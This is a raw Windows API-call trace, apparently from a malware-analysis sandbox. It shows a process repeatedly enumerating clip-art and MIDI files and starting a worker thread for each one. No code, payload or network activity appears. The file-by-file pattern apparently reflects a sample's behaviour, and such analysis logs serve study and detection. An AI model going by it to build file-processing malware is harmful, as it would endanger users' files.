	[0201.530] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1
	[0201.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c
	[0202.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.058] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1
	[0202.058] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4
	[0202.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.062] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1
	[0202.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8
	[0202.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.066] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1
	[0202.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc
	[0202.072] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.073] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1
	[0202.073] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0
	[0202.076] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.076] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1
	[0202.076] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4
	[0202.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.079] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1
	[0202.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8
	[0202.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.083] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1
	[0202.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc
	[0202.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.086] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x72, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1
	[0202.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0
	[0202.089] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.090] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x72, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1
	[0202.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4
	[0202.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.632] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x72, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1
	[0202.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218
	[0202.634] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.635] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x72, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1
	[0202.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424
	[0202.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.638] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x72, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1
	[0202.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1438
	[0202.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.640] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1
	[0202.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac
	[0202.643] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.644] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1
	[0202.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b0
	[0202.646] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1
	[0202.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434
	[0202.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.651] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1
	[0202.651] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1430
	[0202.653] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.654] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1
	[0202.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444
	[0202.656] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.657] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1
	[0202.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c
	[0202.659] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.660] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1
	[0202.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448
	[0202.662] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.663] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1
	[0202.663] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0202.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1464
	[0203.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.117] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1
	[0203.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454
	[0203.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.120] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1
	[0203.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1450
	[0203.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.123] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1
	[0203.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1458
	[0203.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.126] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1
	[0203.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1460
	[0203.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.128] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1
	[0203.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x145c
	[0203.130] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.131] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1
	[0203.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
